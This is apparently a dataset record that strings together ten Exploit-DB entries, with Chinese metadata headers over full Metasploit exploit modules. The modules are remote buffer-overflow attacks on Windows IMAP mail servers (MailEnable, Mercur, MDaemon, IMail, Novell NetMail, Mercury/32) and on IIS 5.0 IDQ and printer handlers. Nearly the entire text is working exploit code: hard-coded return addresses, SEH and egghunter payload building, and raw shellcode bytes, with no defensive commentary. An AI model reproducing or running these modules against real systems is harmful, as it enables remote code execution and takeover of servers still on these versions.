QLWD/code_shield huggingface dataset:
标题: MailEnable IMAPD Professional (2.35) - Login Request Buffer Overflow (Metasploit) EDB-ID: 16475 CVE: 2006-6423 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: mailenable_login.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MailEnable IMAPD (2.35) Login Request Buffer Overflow',
   'Description'    => %q{
     MailEnable's IMAP server contains a buffer overflow
    vulnerability in the Login command.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2006-6423'],
     [ 'OSVDB', '32125'],
     [ 'BID', '21492'],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-December/051229.html'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 450,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'MailEnable 2.35 Pro',  { 'Ret' =>  0x10049abb } ], #MEAISP.DLL
    ],
   'DisclosureDate' => 'Dec 11 2006',
   'DefaultTarget' => 0))

  register_options( [ Opt::RPORT(143) ], self.class )
 end

 def exploit
  connect

  auth =   "a001 LOGIN " + rand_text_alpha_upper(4) + " {10}\r\n"
  sploit =   rand_text_alpha_upper(556) + [target.ret].pack('V')
  sploit <<  payload.encoded + "\r\n\r\n"

  res = sock.recv(50)
   if ( res =~ / OK IMAP4rev1/)
    print_status("Trying target #{target.name}...")
    sock.put(auth)
    sock.get_once(-1, 3)
    sock.put(sploit)
   else
    print_status("Not running IMAP4rev1...")
   end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16475
标题: Mercur Messaging 2005 - IMAP Login Buffer Overflow (Metasploit) EDB-ID: 16481 CVE: 2006-1255 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: mercur_login.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.
    Since the room for shellcode is small, using the reverse ordinal payloads
    yields the best results.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10150 $',
   'References'     =>
    [
     [ 'CVE', '2006-1255' ],
     [ 'OSVDB', '23950' ],
     [ 'BID', '17138' ],
     [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 228,
     'BadChars' => "\x00\x20\x2c\x3a\x40",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
     [ 'Windows XP Pro SP2 English',   { 'Ret' => 0x77dc15c0 } ],
    ],
   'DisclosureDate' => 'Mar 17 2006',
   'DefaultTarget'  => 0))

  register_options( [ Opt::RPORT(143) ], self.class )
 end

 def exploit
  connect
  sock.get_once

  hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
  egg     = hunter[1]

  sploit =  "A001 LOGIN " + egg + hunter[0]
  sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV')

  print_status("Trying target #{target.name}...")
  sock.put(sploit + "\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16481
标题: Alt-N MDaemon 9.6.4 - IMAPD FETCH Buffer Overflow (Metasploit) EDB-ID: 16482 CVE: 2008-1358 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: mdaemon_fetch.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Imap
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
    version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
    account credentials are required. Credit to Matteo Memelli
   },
   'Author'         => [ 'Jacopo Cervini', 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2008-1358' ],
     [ 'OSVDB', '43111' ],
     [ 'BID', '28245' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/5248' ],
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0a])",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
    ],
   'DisclosureDate' => 'Mar 13 2008',
   'DefaultTarget' => 0))
 end

 def check
  connect
  disconnect

  if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login

  req0="0002 SELECT Inbox\r\n"

  res = raw_send_recv(req0)
  if (res and res =~ /0002 OK/)
   print_status("SELECT command OK")
  end

  req1="0003 APPEND Inbox {1}\r\n"

  res = raw_send_recv(req1)
  if (res and res =~ /Ready for append literal/)
   print_status("APPEND command OK")
  end

  res = raw_send_recv(rand_text_alpha(20) + "\r\n")
  if (res and res =~ /APPEND completed/)
   print_status("APPEND command finished")
  end

  buf = rand_text_alpha_upper(528, payload_badchars)
  buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)

  sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"

  print_status("Sending payload")

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16482
标题: Microsoft IIS 5.0 - IDQ Path Overflow (MS01-033) (Metasploit) EDB-ID: 16472 CVE: 2001-0500 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: ms01_033_idq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS 5.0 IDQ Path Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the IDQ ISAPI handler for
    Microsoft Index Server.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2001-0500'],
     [ 'OSVDB', '568'],
     [ 'MSB', 'MS01-033'],
     [ 'BID', '2880'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },

   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },

   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro English SP0',     { 'Ret' => '0x6e8f3e24' } ],
     [ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
    ],
   'DisclosureDate' => 'Jun 18 2001',
   'DefaultTarget' => 0))

  register_options([Opt::RPORT(80)], self.class)
 end

 def exploit
  connect

  sploit =  rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
  sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]
  sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="
  sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)

  uri = '/' + sploit + payload.encoded

  res = "GET #{uri}\r\n\r\n"

  print_status("Trying target #{target.name}...")

  sock.put(res)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16472
标题: IPSwitch IMail IMAP4D - Delete Overflow (Metasploit) EDB-ID: 16479 CVE: 2004-1520 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: imail_delete.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IMail IMAP4D Delete Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the 'DELETE'
    command of the the IMail IMAP4D service. This vulnerability
    can only be exploited with a valid username and password.
    This flaw was patched in version 8.14.
   },
   'Author'         => [ 'spoonm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2004-1520'],
     [ 'OSVDB', '11838'],
     [ 'BID', '11675'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC'  => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 614,
     'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
     'StackAdjustment' => -3500,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'EDX',
      }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # alphanum rets :(, will look more into it later
     ['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],
    ],
   'DisclosureDate' => 'Nov 12 2004',
   'DefaultTarget' => 0))
 end

 def exploit
  connect_login

  print_status("Sending overflow string...")
  req = 'A683 DELETE '
  req << payload.encoded

  # Jump over code
  req << "\x74\x32\x75\x30"
  req << [target.ret].pack('V')
  req << rand_text_alphanumeric(44)

  # GetEIP code
  req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
  req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"

  # Alphanumeric jmp back (edx context)
  req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
  req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
  req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
  req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"

  # Run off the stack, so we don't kill our payload, or something...
  req << rand_text_alphanumeric(600)

  # Terminate the request
  req << "\r\n"

  sock.put(req)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16479
标题: MailEnable - IMAPD W3C Logging Buffer Overflow (Metasploit) EDB-ID: 16480 CVE: 2005-3155 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: mailenable_w3c_select.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Imap
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MailEnable IMAPD W3C Logging Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the W3C logging
    functionality of the MailEnable IMAPD service. Logging is
    not enabled by default and this exploit requires a valid
    username and password to exploit the flaw. MailEnable
    Professional version 1.6 and prior and MailEnable Enterprise
    version 1.1 and prior are affected.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2005-3155'],
     [ 'OSVDB', '19842'],
     [ 'BID', '15006'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL
    ],
   'DisclosureDate' => 'Oct 03 2005',
   'DefaultTarget' => 0))
 end

 def check
  connect
  disconnect

  if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login

  buf = rand_text_alphanumeric(6196, payload_badchars)
  seh = generate_seh_payload(target.ret)
  req = 'a01 SELECT ' + buf + seh + "\r\n"
  sock.put(req)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16480
标题: Novell NetMail 3.52d - IMAP Subscribe Buffer Overflow (Metasploit) EDB-ID: 16478 CVE: 2006-6761 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: novell_netmail_subscribe.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell NetMail <= 3.52d IMAP SUBSCRIBE Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
    verb. By sending an overly long string, an attacker can overwrite the
    buffer and control program execution.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-6761' ],
     [ 'OSVDB', '31360' ],
     [ 'BID', '21728' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP0-SP4 English',  { 'Ret' => 0x75022ac4 }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 23 2006'))

 end

 def exploit
  sploit =  "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
  sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
  sploit <<  [0xe8, -485].pack('CV') + rand_text_english(150)

  info = connect_login

  if (info == true)
   print_status("Trying target #{target.name}...")
   sock.put(sploit + "\r\n")
  else
   print_status("Not falling through with exploit")
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16478
标题: Novell NetMail 3.52d - IMAP STATUS Buffer Overflow (Metasploit) EDB-ID: 16483 CVE: 2005-3314 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: novell_netmail_status.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell NetMail <= 3.52d IMAP STATUS Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP STATUS
    verb. By sending an overly long string, an attacker can overwrite the
    buffer and control program execution.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-3314' ],
     [ 'OSVDB', '20956' ],
     [ 'BID', '15491' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP0-SP4 English',   { 'Ret' => 0x75022ac4 }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 18 2005'))

 end

 def exploit
  sploit =  "a002 STATUS " + rand_text_english(1602) + payload.encoded
  sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
  sploit <<  [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox"

  info = connect_login

  if (info == true)
   print_status("Trying target #{target.name}...")
   sock.put(sploit + "\r\n")
  else
   print_status("Not falling through with exploit")
  end

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16483
标题: Mercury/32 Mail Server < 4.01b - LOGIN Buffer Overflow (Metasploit) EDB-ID: 16473 CVE: 2007-1373 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: mercury_login.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mercury/32 <= 4.01b LOGIN Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
    LOGIN verb. By sending a specially crafted login command, a buffer
    is corrupted, and code execution is possible. This vulnerability was
    discovered by (mu-b at digit-labs.org).
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2007-1373' ],
     [ 'OSVDB', '33883' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP0-SP4 English',  { 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English',  { 'Ret' => 0x71aa32ad } ],
    ],
   'DisclosureDate' => 'Mar 6 2007',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(143)
   ], self.class)
 end

 def check
  connect
  resp = sock.get_once
  disconnect

  if (resp =~ /Mercury\/32 v4\.01[a-b]/)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect
  sock.get_once

  num = rand(255).to_i

  sploit = "A001 LOGIN " + (" " * 1008) + "{#{num}}\n"
  sock.put(sploit)
  sock.get_once

  sploit << rand_text_alpha_upper(255)
  sock.put(sploit)
  sock.get_once

  sploit << make_nops(5295 - payload.encoded.length)
  sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
  sploit << make_nops(2) + [target.ret].pack('V')
  sploit << [0xe8, -1200].pack('CV') + rand_text_alpha_upper(750)

  print_status("Trying target #{target.name}...")

  sock.put(sploit)
  select(nil,nil,nil,1)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16473
标题: Microsoft IIS 5.0 - Printer Host Header Overflow (MS01-023) (Metasploit) EDB-ID: 16469 CVE: 2001-0241 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ms01_023_printer.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS 5.0 Printer Host Header Overflow',
   'Description'    => %q{
     This exploits a buffer overflow in the request processor of
    the Internet Printing Protocol ISAPI module in IIS. This
    module works against Windows 2000 service pack 0 and 1. If
    the service stops responding after a successful compromise,
    run the exploit a couple more times to completely kill the
    hung process.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2001-0241'],
     [ 'OSVDB', '3323'],
     [ 'BID', '2674'],
     [ 'MSB', 'MS01-023'],
     [ 'URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 900,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'Windows 2000 English SP0-SP1',
      {
       'Platform' => 'win',
       'Ret'      => 0x732c45f3,
      },
     ],
    ],
   'Platform'       => 'win',
   'DisclosureDate' => 'May 1 2001',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(80)
   ], self.class)
 end


 def check
  connect
  sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
  resp = sock.get_once
  disconnect

  if !(resp and resp =~ /Error in web printer/)
   return Exploit::CheckCode::Safe
  end

  connect
  sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
  resp = sock.get_once
  disconnect

  if (resp and resp =~ /locked out/)
   print_status("The IUSER account is locked out, we can't check")
   return Exploit::CheckCode::Detected
  end

  if (resp and resp.index("HTTP/1.1 500") >= 0)
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  buf = make_nops(280)
  buf[268, 4] = [target.ret].pack('V')

  # payload is at: [ebx + 96] + 256 + 64
  buf << "\x8b\x4b\x60"        # mov ecx, [ebx + 96]
  buf << "\x80\xc1\x40"        # add cl, 64
  buf << "\x80\xc5\x01"        # add ch, 1
  buf << "\xff\xe1"            # jmp ecx

  sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16469